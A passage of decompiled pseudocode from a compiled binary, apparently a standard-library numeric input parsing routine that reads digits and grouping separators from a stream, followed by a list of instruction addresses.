											_v180 = 0;
											_t614 =  >  ? _t720 : _t612;
											_v176 =  >  ? _t720 : _t612;
											E00484D20( &_v52);
											_t765 = _t765 - 8;
											goto L173;
										}
										__eflags = _v126;
										_t616 = _v112;
										if(_v126 != 0) {
											_t617 =  *(_t616 + 0x24);
											_v120 = _t617;
										} else {
											_t617 =  *(_t616 + 0x1c);
											_v120 = _t617;
										}
										_t738 = 1;
										while(1) {
											__eflags = _v96 - 0xffffffff;
											_v108 = _v96 == 0xffffffff;
											__eflags = _t678;
											_t619 = (_t617 & 0xffffff00 | _t678 != 0x00000000) & _v108 & 0x000000ff;
											__eflags = _t619;
											_t755 = _t619;
											if(_t619 != 0) {
												_t620 =  *(_t678 + 0xc);
												__eflags =  *(_t678 + 8) - _t620;
												if( *(_t678 + 8) >= _t620) {
													__eflags =  *((intOrPtr*)( *_t678 + 0x24))() - 0xffffffff;
													_t750 =  !=  ? 0 : _t755;
													_t620 = 0;
													_t678 =  ==  ? 0 : _t678;
												} else {
													_t750 = 0;
												}
											} else {
												_t750 = _v108 & 0x000000ff;
											}
											_t721 = _v100;
											__eflags = _v104 - 0xffffffff;
											_t624 = _t620 & 0xffffff00 | _v104 == 0xffffffff;
											__eflags = _t721;
											if(_t721 == 0) {
												goto L44;
											}
											__eflags = _t624;
											if(_t624 != 0) {
												_t634 = _v100;
												_t721 =  *(_t634 + 0xc);
												__eflags =  *((intOrPtr*)(_t634 + 8)) - _t721;
												if( *((intOrPtr*)(_t634 + 8)) >= _t721) {
													_t636 =  *((intOrPtr*)( *_t634 + 0x24))();
													__eflags = _t636 - 0xffffffff;
													_t721 = _t634 & 0xffffff00 | _t636 == 0xffffffff;
													_t750 = _t750 ^ _t721;
													__eflags = _t636 - 0xffffffff;
													_t638 =  !=  ? _v100 : 0;
													_v100 =  !=  ? _v100 : 0;
												}
												L45:
												__eflags = _t738 - _v136;
												if(_t738 >= _v136) {
													L171:
													__eflags = _t738 - _v136;
													if(_t738 != _v136) {
														goto L100;
													}
													__eflags = _v48 - 1;
													if(_v48 > 1) {
														goto L198;
													}
													goto L173;
												}
												__eflags = _t750;
												if(_t750 == 0) {
													goto L171;
												}
												__eflags = _t678;
												_t695 = _v96;
												_t723 = (_t721 & 0xffffff00 | _t678 != 0x00000000) & _v108;
												__eflags = _t723;
												if(_t723 != 0) {
													_t628 =  *(_t678 + 8);
													__eflags = _t628 -  *(_t678 + 0xc);
													if(_t628 >=  *(_t678 + 0xc)) {
														_t695 =  *((intOrPtr*)( *_t678 + 0x24))();
														__eflags = _t695 - 0xffffffff;
														_t678 =  ==  ? 0 : _t678;
														goto L48;
													}
													_t756 = _v120;
													__eflags =  *_t628 - ( *(_t756 + _t738) & 0x000000ff);
													if( *_t628 == ( *(_t756 + _t738) & 0x000000ff)) {
														L50:
														_t617 = _t628 + 1;
														__eflags = _t617;
														 *(_t678 + 8) = _t617;
														L51:
														_v96 = 0xffffffff;
														_t738 = _t738 + 1;
														continue;
													}
													_v108 = _t723;
													goto L100;
												}
												L48:
												_t632 = _v120;
												__eflags =  *((intOrPtr*)(_t632 + _t738)) - _t695;
												if( *((intOrPtr*)(_t632 + _t738)) != _t695) {
													goto L100;
												}
												_t628 =  *(_t678 + 8);
												__eflags = _t628 -  *(_t678 + 0xc);
												if(_t628 >=  *(_t678 + 0xc)) {
													_t617 =  *((intOrPtr*)( *_t678 + 0x28))();
													goto L51;
												}
												goto L50;
											}
											L44:
											_t750 = _t750 ^ _t624;
											__eflags = _t750;
											goto L45;
										}
									}
								} else {
									__eflags = __ebx;
									if(__ebx == 0) {
										L77:
										__eax = _v96;
										L78:
										__edi = _v140;
										__eax = __al & 0x000000ff;
										_v120 = 0;
										__edx =  *(__edi + 0x18);
										__eflags =  *(__edx + __eax * 2) & 0x00000020;
										if(( *(__edx + __eax * 2) & 0x00000020) == 0) {
											goto L34;
										}
										__eax =  *(__ebx + 8);
										__eflags = __eax -  *(__ebx + 0xc);
										if(__eax >=  *(__ebx + 0xc)) {
											__eax =  *__ebx;
											__ecx = __ebx;
											__eax =  *((intOrPtr*)( *__ebx + 0x28))();
											L81:
											_v96 = 0xffffffff;
											_v120 = 1;
											goto L34;
										}
										L80:
										__eax = __eax + 1;
										__eflags = __eax;
										 *(__ebx + 8) = __eax;
										goto L81;
									}
									__eax = __edi;
									__eflags = __al;
									if(__al != 0) {
										__eax =  *(__ebx + 8);
										__eflags = __eax -  *(__ebx + 0xc);
										if(__eax >=  *(__ebx + 0xc)) {
											__eax =  *__ebx;
											__ecx = __ebx;
											__eax =  *((intOrPtr*)( *__ebx + 0x24))();
											__edx = 0;
											__eflags =  *__ebx - 0xffffffff;
											__ebx =  ==  ? 0 : __ebx;
											goto L78;
										}
										__esi = _v140;
										__ecx =  *__eax & 0x000000ff;
										__edx =  *(__esi + 0x18);
										__eflags =  *(__edx + __ecx * 2) & 0x00000020;
										if(( *(__edx + __ecx * 2) & 0x00000020) != 0) {
											goto L80;
										}
										_v96 = 0xffffffff;
										goto L34;
									}
									goto L77;
								}
							case 2:
								__eax = _a20;
								__eflags =  *(__eax + 0xd) & 0x00000002;
								if(( *(__eax + 0xd) & 0x00000002) != 0) {
									L140:
									__eax = _v112;
									__edi = 0;
									__eflags = 0;
									__eax =  *(_v112 + 0x18);
									_v144 = __eax;
									while(1) {
										__eflags = _v96 - 0xffffffff;
										_v120 = _v96 == 0xffffffff;
										__eflags = __ebx;
										__ecx = _v120 & 0x000000ff;
										__eax = __eax & 0xffffff00 | __ebx != 0x00000000;
										__al = __al & __cl;
										__eflags = __al;
										__esi = __eax;
										if(__al != 0) {
											__eax =  *(__ebx + 0xc);
											__eflags =  *(__ebx + 8) - __eax;
											if( *(__ebx + 8) >= __eax) {
												__eax =  *__ebx;
												__ecx = __ebx;
												__eax =  *((intOrPtr*)( *__ebx + 0x24))();
												__eflags =  *__ebx - 0xffffffff;
												__eax = 0;
												__esi =  !=  ? 0 : __esi;
												__eax = 0;
												__ebx =  ==  ? 0 : __ebx;
											} else {
												__esi = 0;
											}
										} else {
											__esi = _v120 & 0x000000ff;
										}
										__edx = _v100;
										__eflags = _v104 - 0xffffffff;
										__eax = __eax & 0xffffff00 | _v104 == 0xffffffff;
										__eflags = __edx;
										if(__edx == 0) {
											goto L145;
										}
										L144:
										__eflags = __al;
										if(__al != 0) {
											__eax = _v100;
											__edx =  *(__eax + 0xc);
											__eflags =  *((intOrPtr*)(__eax + 8)) - __edx;
											if( *((intOrPtr*)(__eax + 8)) >= __edx) {
												__edx = __eax;
												__eax =  *__eax;
												__ecx = __edx;
												__eax =  *((intOrPtr*)(__eax + 0x24))();
												__eflags = __eax - 0xffffffff;
												__edx = __edx & 0xffffff00 | __eax == 0xffffffff;
												__esi = __esi ^ __edx;
												__eflags = __eax - 0xffffffff;
												0 =  !=  ? _v100 : 0;
												_v100 =  !=  ? _v100 : 0;
											}
											L146:
											__eax = _v144;
											__eflags = __edi - _v144;
											if(__edi >= _v144) {
												L189:
												__eax = _v144;
												__eflags = __edi - __eax;
												if(__edi != __eax) {
													L167:
													__eflags = __edi;
													if(__edi != 0) {
														goto L99;
													}
													__eax = _a20;
													__eax =  *(_a20 + 0xc);
													_v120 = __eax;
													__eax = __eax >> 9;
													__eax = __eax ^ 0x00000001;
													__eax = __eax & 0x00000001;
													_v120 = __al;
													goto L68;
												}
												goto L190;
											}
											__eax = __esi;
											__eflags = __al;
											if(__al == 0) {
												goto L189;
											}
											__eflags = __ebx;
											if(__ebx == 0) {
												L150:
												__eax = _v96;
												L151:
												__esi = _v112;
												__edx =  *(__esi + 0x14);
												__eflags =  *(__edx + __edi) - __al;
												if( *(__edx + __edi) != __al) {
													goto L167;
												}
												__eax =  *(__ebx + 8);
												__eflags = __eax -  *(__ebx + 0xc);
												if(__eax >=  *(__ebx + 0xc)) {
													__eax =  *__ebx;
													__ecx = __ebx;
													__eax =  *((intOrPtr*)( *__ebx + 0x28))();
													L154:
													_v96 = 0xffffffff;
													__edi = __edi + 1;
													__eflags = _v96 - 0xffffffff;
													_v120 = _v96 == 0xffffffff;
													__eflags = __ebx;
													__ecx = _v120 & 0x000000ff;
													__eax = __eax & 0xffffff00 | __ebx != 0x00000000;
													__al = __al & __cl;
													__eflags = __al;
													__esi = __eax;
													if(__al != 0) {
														__eax =  *(__ebx + 0xc);
														__eflags =  *(__ebx + 8) - __eax;
														if( *(__ebx + 8) >= __eax) {
															__eax =  *__ebx;
															__ecx = __ebx;
															__eax =  *((intOrPtr*)( *__ebx + 0x24))();
															__eflags =  *__ebx - 0xffffffff;
															__eax = 0;
															__esi =  !=  ? 0 : __esi;
															__eax = 0;
															__ebx =  ==  ? 0 : __ebx;
														} else {
															__esi = 0;
														}
													} else {
														__esi = _v120 & 0x000000ff;
													}
													__edx = _v100;
													__eflags = _v104 - 0xffffffff;
													__eax = __eax & 0xffffff00 | _v104 == 0xffffffff;
													__eflags = __edx;
													if(__edx == 0) {
														goto L145;
													}
												}
												L153:
												__eax = __eax + 1;
												__eflags = __eax;
												 *(__ebx + 8) = __eax;
												goto L154;
											}
											__eflags = _v120;
											if(_v120 != 0) {
												__eax =  *(__ebx + 8);
												__eflags = __eax -  *(__ebx + 0xc);
												if(__eax >=  *(__ebx + 0xc)) {
													__eax =  *__ebx;
													__ecx = __ebx;
													__eax =  *((intOrPtr*)( *__ebx + 0x24))();
													__edx = 0;
													__eflags =  *__ebx - 0xffffffff;
													__ebx =  ==  ? 0 : __ebx;
													goto L151;
												}
												__esi = _v112;
												__edx =  *(__esi + 0x14);
												__ecx =  *(__edx + __edi) & 0x000000ff;
												__eflags =  *__eax - __cl;
												if( *__eax == __cl) {
													goto L153;
												}
												goto L167;
											}
											goto L150;
										}
										L145:
										__esi = __esi ^ __eax;
										__eflags = __esi;
										goto L146;
									}
								}
								__eflags = _v136 - 1;
								if(_v136 > 1) {
									goto L140;
								}
								__eax = _v108;
								__eflags = __eax;
								if(__eax == 0) {
									goto L140;
								}
								__eflags = __eax - 1;
								if(__eax == 1) {
									__eflags = _v127;
									if(_v127 != 0) {
										goto L140;
									}
									__eflags = _v80 - 3;
									if(_v80 == 3) {
										goto L140;
									}
									__eflags = _v78 - 1;
									if(_v78 != 1) {
										L90:
										_v108 = _v108 + 1;
										goto L6;
									}
									goto L140;
								}
								__eflags = _v108 - 2;
								_v120 = 1;
								if(_v108 != 2) {
									goto L68;
								}
								__eax = _v77 & 0x000000ff;
								__eflags = __al - 4;
								if(__al == 4) {
									goto L140;
								}
								__eflags = __al - 3;
								if(__al != 3) {
									goto L90;
								}
								__eflags = _v127;
								if(_v127 != 0) {
									goto L140;
								}
								goto L90;
							case 3:
								__eax = _v112;
								__ecx =  *(__eax + 0x20);
								__eflags = __ecx;
								if(__ecx != 0) {
									__eflags = _v96 - 0xffffffff;
									__eax = __eax & 0xffffff00 | _v96 == 0xffffffff;
									__eflags = __ebx;
									__edi = __eax;
									__eax = __eax & 0xffffff00 | __ebx != 0x00000000;
									__ecx = __edi;
									__al = __al & __cl;
									__eflags = __al;
									__esi = __eax;
									if(__al != 0) {
										__eax =  *(__ebx + 0xc);
										__eflags =  *(__ebx + 8) - __eax;
										if( *(__ebx + 8) >= __eax) {
											__eax =  *__ebx;
											__ecx = __ebx;
											__eax =  *((intOrPtr*)( *__ebx + 0x24))();
											__eflags =  *__ebx - 0xffffffff;
											__eax = 0;
											__esi =  !=  ? 0 : __esi;
											__eax = 0;
											__ebx =  ==  ? 0 : __ebx;
										} else {
											__esi = 0;
										}
									} else {
										__esi = __edi;
									}
									__edx = _v100;
									__eflags = _v104 - 0xffffffff;
									__eax = __eax & 0xffffff00 | _v104 == 0xffffffff;
									__eflags = __edx;
									__edx = __edx & 0xffffff00 | __edx != 0x00000000;
									__dl = __dl & __al;
									__eflags = __dl;
									_v120 = __dl;
									if(__dl != 0) {
										__ecx = _v100;
										__eax = 0;
										__edx =  *(__ecx + 0xc);
										__eflags =  *((intOrPtr*)(__ecx + 8)) -  *(__ecx + 0xc);
										if( *((intOrPtr*)(__ecx + 8)) >=  *(__ecx + 0xc)) {
											__eax =  *__ecx;
											__eax =  *((intOrPtr*)( *__ecx + 0x24))();
											__edx = _v120 & 0x000000ff;
											__eflags =  *__ecx - 0xffffffff;
											0 =  ==  ? _v120 & 0x000000ff : 0;
											0 =  !=  ? _v100 : 0;
											_v100 =  !=  ? _v100 : 0;
										}
									}
									__ecx = __esi;
									__eflags = __al - __cl;
									if(__al != __cl) {
										__eflags = __ebx;
										if(__ebx == 0) {
											L219:
											__eax = _v96 & 0x000000ff;
											L220:
											__edi = _v112;
											__edx =  *(__edi + 0x1c);
											__eflags =  *__edx - __al;
											if( *__edx != __al) {
												goto L133;
											}
											__eax = _v112;
											__ecx = __ebx;
											__eax =  *(_v112 + 0x20);
											_v136 =  *(_v112 + 0x20);
											__eax = E00476EF0(__ecx);
											_v96 = 0xffffffff;
											goto L190;
										}
										__eax = __edi;
										__eflags = __al;
										if(__al == 0) {
											goto L219;
										}
										__eax =  *(__ebx + 8);
										__eflags = __eax -  *(__ebx + 0xc);
										if(__eax >=  *(__ebx + 0xc)) {
											__eax =  *__ebx;
											__ecx = __ebx;
											__eax =  *((intOrPtr*)( *__ebx + 0x24))();
											__eflags = __eax - 0xffffffff;
											__edx = 0xffffffff;
											__eax =  ==  ? 0xffffffff : __eax;
											__edx = 0;
											__ebx =  ==  ? 0 : __ebx;
										} else {
											__eax =  *__eax & 0x000000ff;
										}
										goto L220;
									} else {
										L133:
										__eax = _v112;
										__ecx =  *(__eax + 0x28);
										__eflags = __ecx;
										if(__ecx != 0) {
											L191:
											__eflags = _v96 - 0xffffffff;
											__eax = __eax & 0xffffff00 | _v96 == 0xffffffff;
											__eflags = __ebx;
											__edi = __eax;
											__eax = __eax & 0xffffff00 | __ebx != 0x00000000;
											__ecx = __edi;
											__al = __al & __cl;
											__eflags = __al;
											__esi = __eax;
											if(__al != 0) {
												__eax =  *(__ebx + 0xc);
												__eflags =  *(__ebx + 8) - __eax;
												if( *(__ebx + 8) >= __eax) {
													__eax =  *__ebx;
													__ecx = __ebx;
													__eax =  *((intOrPtr*)( *__ebx + 0x24))();
													__eflags =  *__ebx - 0xffffffff;
													__eax = 0;
													__esi =  !=  ? 0 : __esi;
													__eax = 0;
													__ebx =  ==  ? 0 : __ebx;
												} else {
													__esi = 0;
												}
											} else {
												__esi = __edi;
											}
											__edx = _v100;
											__eflags = _v104 - 0xffffffff;
											__eax = __eax & 0xffffff00 | _v104 == 0xffffffff;
											__eflags = __edx;
											__edx = __edx & 0xffffff00 | __edx != 0x00000000;
											__dl = __dl & __al;
											__eflags = __dl;
											_v120 = __dl;
											if(__dl != 0) {
												__edx = _v100;
												__eax = 0;
												__ecx =  *(__edx + 0xc);
												__eflags =  *((intOrPtr*)(__edx + 8)) -  *(__edx + 0xc);
												if( *((intOrPtr*)(__edx + 8)) >=  *(__edx + 0xc)) {
													__eax =  *__edx;
													__ecx = __edx;
													__eax =  *((intOrPtr*)( *__edx + 0x24))();
													__edx = _v120 & 0x000000ff;
													__eflags = __eax - 0xffffffff;
													0 =  ==  ? _v120 & 0x000000ff : 0;
													__edx = 0;
													__edx =  !=  ? _v100 : 0;
													_v100 = 0;
												}
											}
											__ecx = __esi;
											__eflags = __cl - __al;
											if(__cl != __al) {
												__eflags = __ebx;
												if(__ebx == 0) {
													L226:
													__eax = _v96 & 0x000000ff;
													L227:
													__edi = _v112;
													__edx =  *(__edi + 0x24);
													__eflags =  *__edx - __al;
													if( *__edx != __al) {
														goto L195;
													}
													__eax = _v112;
													__ecx = __ebx;
													__eax =  *(_v112 + 0x28);
													_v136 =  *(_v112 + 0x28);
													__eax = E00476EF0(__ecx);
													_v96 = 0xffffffff;
													_v120 = 1;
													_v126 = 1;
													goto L68;
												}
												__eax = __edi;
												__eflags = __al;
												if(__al == 0) {
													goto L226;
												}
												__eax =  *(__ebx + 8);
												__eflags = __eax -  *(__ebx + 0xc);
												if(__eax >=  *(__ebx + 0xc)) {
													__eax =  *__ebx;
													__ecx = __ebx;
													__eax =  *((intOrPtr*)( *__ebx + 0x24))();
													__eflags = __eax - 0xffffffff;
													__edx = 0xffffffff;
													__eax =  ==  ? 0xffffffff : __eax;
													__edx = 0;
													__ebx =  ==  ? 0 : __ebx;
												} else {
													__eax =  *__eax & 0x000000ff;
												}
												goto L227;
											} else {
												L195:
												__eax = _v112;
												__edi =  *(_v112 + 0x20);
												__eflags = __edi;
												if(__edi == 0) {
													L67:
													__eax = _v127 & 0x000000ff;
													__eax = _v127 & 0x000000ff ^ 0x00000001;
													__eflags = __eax;
													_v120 = __al;
													goto L68;
												}
												__eax = _v112;
												__esi =  *(__eax + 0x28);
												__eflags = __esi;
												if(__esi != 0) {
													goto L67;
												}
												L135:
												_v120 = 1;
												_v126 = 1;
												goto L68;
											}
										}
										__eax = _v112;
										__edx =  *(__eax + 0x20);
										__eflags = __edx;
										if(__edx == 0) {
											goto L67;
										}
										goto L135;
									}
								}
								__eax = _v112;
								__eax =  *(_v112 + 0x28);
								__eflags = __eax;
								if(__eax != 0) {
									goto L191;
								}
								goto L67;
							case 4:
								while(1) {
									_t648 = _t647 & 0xffffff00 | _v96 == 0xffffffff;
									_t738 = _t648;
									_t650 = (_t648 & 0xffffff00 | _t678 != 0x00000000) & _t738;
									_t758 = _t650;
									if(_t650 != 0) {
										_t651 =  *(_t678 + 0xc);
										__eflags =  *(_t678 + 8) - _t651;
										if( *(_t678 + 8) >= _t651) {
											__eflags =  *((intOrPtr*)( *_t678 + 0x24))() - 0xffffffff;
											_t750 =  !=  ? 0 : _t758;
											_t651 = 0;
											_t678 =  ==  ? 0 : _t678;
										} else {
											_t750 = 0;
										}
									} else {
										_t750 = _t738;
									}
									_t728 = _v100;
									_t655 = _t651 & 0xffffff00 | _v104 == 0xffffffff;
									_t730 = (_v100 & 0xffffff00 | _t728 != 0x00000000) & _t655;
									_v120 = _t730;
									if(_t730 != 0) {
										goto L95;
									}
									L18:
									if(_t750 == _t655) {
										L98:
										_v120 = 1;
										__eflags = _v48;
										if(_v48 != 0) {
											L68:
											_v108 = _v108 + 1;
											_t579 = _v108;
											__eflags = _t579 - 3;
											if(_t579 > 3) {
												goto L70;
											}
											goto L69;
										}
										L99:
										__eflags = _v96 - 0xffffffff;
										_t242 =  &_v108;
										 *_t242 = _v96 == 0xffffffff;
										__eflags =  *_t242;
										L100:
										_t582 = _a24;
										 *_t582 =  *_t582 | 0x00000004;
										__eflags = _t678;
										_t584 = (_t582 & 0xffffff00 | _t678 != 0x00000000) & _v108;
										__eflags = _t584;
										_t751 = _t584;
										if(_t584 != 0) {
											L186:
											_v108 = 0;
											_t584 =  *(_t678 + 0xc);
											__eflags =  *(_t678 + 8) - _t584;
											if( *(_t678 + 8) >= _t584) {
												__eflags =  *((intOrPtr*)( *_t678 + 0x24))() - 0xffffffff;
												_t595 =  ==  ? _t751 : 0;
												_v108 =  ==  ? _t751 : 0;
												_t584 = 0;
												_t678 =  ==  ? 0 : _t678;
											}
										}
										L101:
										__eflags = _v104 - 0xffffffff;
										_t585 = _t584 & 0xffffff00 | _v104 == 0xffffffff;
										__eflags = _v100;
										if(_v100 != 0) {
											__eflags = _t585;
											if(_t585 != 0) {
												_t741 = _v100;
												_t585 = 0;
												__eflags =  *((intOrPtr*)(_t741 + 8)) -  *((intOrPtr*)(_t741 + 0xc));
												if( *((intOrPtr*)(_t741 + 8)) >=  *((intOrPtr*)(_t741 + 0xc))) {
													_t591 =  *((intOrPtr*)( *_t741 + 0x24))();
													__eflags = _t591 - 0xffffffff;
													_t585 = _t591 & 0xffffff00 | _t591 == 0xffffffff;
												}
											}
										}
										__eflags = _t585 - _v108;
										if(_t585 == _v108) {
											_t589 = _a24;
											 *_t589 =  *_t589 | 0x00000002;
											__eflags =  *_t589;
										}
										_t586 = _v52;
										__eflags = _t586 -  &_v44;
										if(_t586 !=  &_v44) {
											_v180 = _t586;
											L00497910();
										}
										_t587 = _v76;
										__eflags = _t587 -  &_v68;
										if(_t587 !=  &_v68) {
											_v180 = _t587;
											L00497910();
										}
										return _t678;
									}
									L19:
									if(_t678 != 0 && _t738 != 0) {
										_t669 =  *(_t678 + 8);
										__eflags = _t669 -  *(_t678 + 0xc);
										if(_t669 >=  *(_t678 + 0xc)) {
											_t671 =  *((intOrPtr*)( *_t678 + 0x24))();
											__eflags = _t671 - 0xffffffff;
											_t750 =  !=  ? _t671 : 0xffffffff;
											_t678 =  ==  ? 0 : _t678;
										} else {
											_t750 =  *_t669 & 0x000000ff;
										}
									} else {
										_t750 = _v96 & 0x000000ff;
									}
									_t639 = memchr(_v124, _t750, 0xa);
									if(_t639 != 0) {
										_t725 =  *0x4c5068; // 0x4cc360
										_t757 = _v48;
										_t57 = _t757 + 1; // 0x1
										_t747 = _t57;
										_v96 =  *(_t725 + _t639 - _v132) & 0x000000ff;
										_t642 = _v52;
										if(_t642 ==  &_v44) {
											_t727 = 0xf;
										} else {
											_t727 = _v44;
										}
										if(_t727 < _t747) {
											 *(_t765 + 0xc) = 1;
											_v172 = 0;
											_v176 = 0;
											_v180 = _t757;
											E00484F90( &_v52);
											_t642 = _v52;
											_t765 = _t765 - 0x10;
										}
										_v116 = _v116 + 1;
										 *((char*)(_t642 + _t757)) = _v96 & 0x000000ff;
										_v48 = _t747;
										 *((char*)(_v52 + _t757 + 1)) = 0;
										L12:
										_t645 =  *(_t678 + 8);
										if(_t645 >=  *(_t678 + 0xc)) {
											L32:
											_t647 =  *((intOrPtr*)( *_t678 + 0x28))();
											L14:
											_v96 = 0xffffffff;
											_t648 = _t647 & 0xffffff00 | _v96 == 0xffffffff;
											_t738 = _t648;
											_t650 = (_t648 & 0xffffff00 | _t678 != 0x00000000) & _t738;
											_t758 = _t650;
											if(_t650 != 0) {
												_t651 =  *(_t678 + 0xc);
												__eflags =  *(_t678 + 8) - _t651;
												if( *(_t678 + 8) >= _t651) {
													__eflags =  *((intOrPtr*)( *_t678 + 0x24))() - 0xffffffff;
													_t750 =  !=  ? 0 : _t758;
													_t651 = 0;
													_t678 =  ==  ? 0 : _t678;
												} else {
													_t750 = 0;
												}
											} else {
												_t750 = _t738;
											}
											_t728 = _v100;
											_t655 = _t651 & 0xffffff00 | _v104 == 0xffffffff;
											_t730 = (_v100 & 0xffffff00 | _t728 != 0x00000000) & _t655;
											_v120 = _t730;
											if(_t730 != 0) {
												goto L95;
											}
										}
										L13:
										_t647 = _t645 + 1;
										 *(_t678 + 8) = _t647;
										goto L14;
									}
									_t738 = _v112;
									if( *((intOrPtr*)(_t738 + 0x11)) == _t750) {
										__eflags = _v125;
										if(_v125 != 0) {
											L116:
											_v120 = _v125 & 0x000000ff;
											L117:
											__eflags = _v48;
											if(_v48 == 0) {
												goto L99;
											}
											goto L68;
										}
										__eflags =  *(_t738 + 0x2c);
										if( *(_t738 + 0x2c) <= 0) {
											goto L98;
										} else {
											_v125 = 1;
											_v116 = 0;
											_v148 = _v116;
											goto L12;
										}
									}
									_t738 = _v112;
									_t662 =  *(_t738 + 0x10) & 0x000000ff;
									_v120 = _t662;
									if(_t662 == 0) {
										goto L98;
									}
									if( *((intOrPtr*)(_t738 + 0x12)) != _t750) {
										goto L117;
									}
									if(_v125 != 0) {
										goto L116;
									}
									_t664 = _v116;
									if(_t664 == 0) {
										_v120 = 0;
										goto L117;
									}
									_v96 = _t664;
									_t759 = _v72;
									_t665 = _v76;
									_t101 = _t759 + 1; // 0x1
									_t748 = _t101;
									if(_t665 ==  &_v68) {
										_t732 = 0xf;
									} else {
										_t732 = _v68;
									}
									if(_t732 < _t748) {
										 *(_t765 + 0xc) = 1;
										_v172 = 0;
										_v176 = 0;
										_v180 = _t759;
										E00484F90( &_v76);
										_t665 = _v76;
										_t765 = _t765 - 0x10;
									}
									_v116 = 0;
									 *((char*)(_t665 + _t759)) = _v96 & 0x000000ff;
									_v72 = _t748;
									 *((char*)(_v76 + _t759 + 1)) = 0;
									_t645 =  *(_t678 + 8);
									if(_t645 <  *(_t678 + 0xc)) {
										goto L13;
									} else {
										goto L32;
									}
									L95:
									_t705 = _v100;
									_t655 = 0;
									__eflags =  *((intOrPtr*)(_t705 + 8)) -  *((intOrPtr*)(_t705 + 0xc));
									if( *((intOrPtr*)(_t705 + 8)) <  *((intOrPtr*)(_t705 + 0xc))) {
										goto L18;
									}
									__eflags =  *((intOrPtr*)( *_t705 + 0x24))() - 0xffffffff;
									_t676 =  ==  ? _v120 & 0x000000ff : 0;
									_t735 =  !=  ? _v100 : 0;
									_v100 = 0;
									__eflags = _t750 - ( ==  ? _v120 & 0x000000ff : 0);
									if(_t750 != ( ==  ? _v120 & 0x000000ff : 0)) {
										goto L19;
									} else {
										goto L98;
									}
								}
						}
					}
					L190:
					_v120 = 1;
					goto L68;
					L69:
					__eflags = _v120;
				} while (_v120 != 0);
				L70:
				__eflags = _v136 - 1;
				_t581 = (_t579 & 0xffffff00 | _v136 - 0x00000001 > 0x00000000) & _v120;
				goto L36;
			}

0x00420ca6
0x00420caf
0x00420cb2
0x00420cb8
0x00420cbe
0x00420cc4
0x00420cc7
0x00420cca
0x00420cd7
0x00420ce2
0x00420ced
0x00420cf0
0x00420cf3
0x00420cf5
0x00420cfa
0x00421907
0x0042190c
0x00421913
0x00421915
0x0042191d
0x00421924
0x0042192b
0x00421936
0x0042193d
0x00421944
0x0042194b
0x00421952
0x00421959
0x00421960
0x00421967
0x0042196e
0x00421975
0x0042197c
0x00421980
0x00421983
0x00421991
0x00421995
0x00421998
0x004219a0
0x004219a5
0x004219a5
0x00420d00
0x00420d09
0x00420d0e
0x00421420
0x00421426
0x00421428
0x00420d14
0x00420d14
0x00420d14
0x00420d1b
0x00420d22
0x00420d28
0x00420d30
0x00420d32
0x00420d3c
0x00420d41
0x00420d41
0x00420d47
0x00420d51
0x00420d54
0x00420d58
0x00420d5f
0x00420d64
0x00420d67
0x00420d6b
0x00420d6e
0x00420d7b
0x00420d82
0x00420d85
0x00420d88
0x00420d92
0x00420d9c
0x00420d9c
0x00420da0
0x00420da0
0x00420da0
0x00420da0
0x00420da8
0x00000000
0x00000000
0x00420db3
0x00000000
0x00420f30
0x00000000
0x00000000
0x004210e0
0x004210e4
0x004210e7
0x004210e9
0x004210eb
0x004210ee
0x004210f0
0x004210f0
0x004210f2
0x004210f4
0x00421a28
0x00421a2b
0x00421a2e
0x00421ca5
0x00421ca7
0x00421ca9
0x00421cac
0x00421caf
0x00421cb4
0x00421cb7
0x00421cbc
0x00421a34
0x00421a34
0x00421a34
0x004210fa
0x004210fa
0x004210fa
0x004210fc
0x004210ff
0x00421103
0x00421106
0x00421108
0x0042110b
0x0042110b
0x0042110d
0x00421110
0x004219ec
0x004219ef
0x004219f1
0x004219f4
0x004219f7
0x004219fd
0x004219ff
0x00421a01
0x00421a04
0x00421a08
0x00421a0b
0x00421a10
0x00421a13
0x00421a18
0x00421a1c
0x00421a1c
0x004219f7
0x00421116
0x00421118
0x0042111c
0x0042111e
0x00420f34
0x00420f34
0x00420f38
0x00421065
0x00421065
0x00421069
0x0042106c
0x0042106e
0x00421070
0x00421073
0x00421075
0x00421075
0x00421077
0x00421079
0x00421000
0x0042107b
0x0042107b
0x0042107e
0x00421081
0x00421a44
0x00421a46
0x00421a48
0x00421a4b
0x00421a4e
0x00421a53
0x00421a56
0x00421a5b
0x00421087
0x00421087
0x00421087
0x00421081
0x00421002
0x00421002
0x00421005
0x00421009
0x0042100c
0x0042100e
0x00421011
0x00421011
0x00421013
0x00421019
0x004213b0
0x004213b3
0x004213b5
0x004213b8
0x004213bb
0x004213c1
0x004213c3
0x004213c5
0x004213c8
0x004213cf
0x004213d2
0x004213d7
0x004213da
0x004213df
0x004213e3
0x004213e3
0x004213bb
0x0042101f
0x00421021
0x00421023
0x00000000
0x00421029
0x00421029
0x0042102b
0x00421037
0x00421037
0x0042103a
0x0042103a
0x00421040
0x00421043
0x00421046
0x0042104a
0x00000000
0x00000000
0x0042104c
0x0042104f
0x00421052
0x00421678
0x0042167a
0x0042167c
0x0042105e
0x0042105e
0x00421065
0x00421069
0x0042106c
0x0042106e
0x00421070
0x00421073
0x00421075
0x00421075
0x00421077
0x00421079
0x00421000
0x0042107b
0x0042107b
0x0042107e
0x00421081
0x00421a44
0x00421a46
0x00421a48
0x00421a4b
0x00421a4e
0x00421a53
0x00421a56
0x00421a5b
0x00421087
0x00421087
0x00421087
0x00421081
0x00000000
0x00421000
0x00421058
0x00421058
0x00421058
0x0042105b
0x00000000
0x0042105b
0x0042102d
0x0042102f
0x00421031
0x004213f0
0x004213f3
0x004213f6
0x00421b03
0x00421b05
0x00421b07
0x00421b0a
0x00421b0c
0x00421b0f
0x00000000
0x00421b0f
0x004213fc
0x00421402
0x00421405
0x00421408
0x0042140c
0x00000000
0x00000000
0x00421412
0x00000000
0x00421412
0x00000000
0x00421031
0x00421023
0x00420f3e
0x00420f3e
0x00420f45
0x00420f48
0x00420f4b
0x00420f4b
0x00420f4d
0x004219d3
0x004219d7
0x00000000
0x00000000
0x004219dd
0x004219e1
0x004216b0
0x004216b0
0x004216b4
0x004216b9
0x004216bc
0x004216be
0x004216c9
0x004216d1
0x004216d9
0x004216e0
0x004216e5
0x004216e5
0x004216bc
0x004216e8
0x004216eb
0x004216ed
0x004216fd
0x00421701
0x00421704
0x00421704
0x00421707
0x0042170a
0x0042170d
0x0042170f
0x00421c22
0x00421715
0x00421715
0x00421715
0x00421718
0x0042171a
0x00421b4c
0x00421b57
0x00421b5f
0x00421b67
0x00421b6a
0x00421b6f
0x00421b72
0x00421b72
0x00421724
0x0042172a
0x0042172d
0x00421735
0x00421739
0x0042173f
0x00421746
0x00421749
0x0042174e
